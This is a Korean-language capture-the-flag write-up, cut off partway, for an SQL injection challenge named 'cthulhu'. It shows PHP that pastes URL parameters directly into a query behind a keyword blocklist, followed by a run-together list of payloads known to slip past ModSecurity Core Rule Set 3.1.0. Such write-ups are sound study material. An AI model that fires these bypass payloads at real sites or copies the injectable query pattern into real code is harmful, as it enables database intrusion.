

<?php
include "./welcome.php";
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("cthulhu");
highlight_file(__FILE__);
?>
1.
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
🔹 $_GET[id], $_GET[pw] 파라미터 필터링
❌ prob, _, ., (), admin, /i (대소문자를 구분하지 않음)
2.

ModSecurity Core Rule Set v3.1.0 으로 WFA (Web Application Firewall)이 보호되고 있다.

사이트에 들어가면 웹 애플리케이션 방화벽 과 함께 사용하기 위한 일반 공격 탐지 규칙 세트라고 하는데,버전을 확인해보니 업데이트가 안된 것 같다.
modsec core rule set v3.1.0 bypassa'+(SELECT 1)+'-1' AND 2<@ UNION/*!SELECT*/1, version()'-1'<@=1 OR {a 1}=1 OR '-1'<@=1 OR {x (select 1)}='1a'+(SELECT 1)+'필터링을 다시 한번 확인해보자.
❌ prob, _, ., (), admin, /i (대소문자를 구분하지 않음)
() 사용 할 수 없음 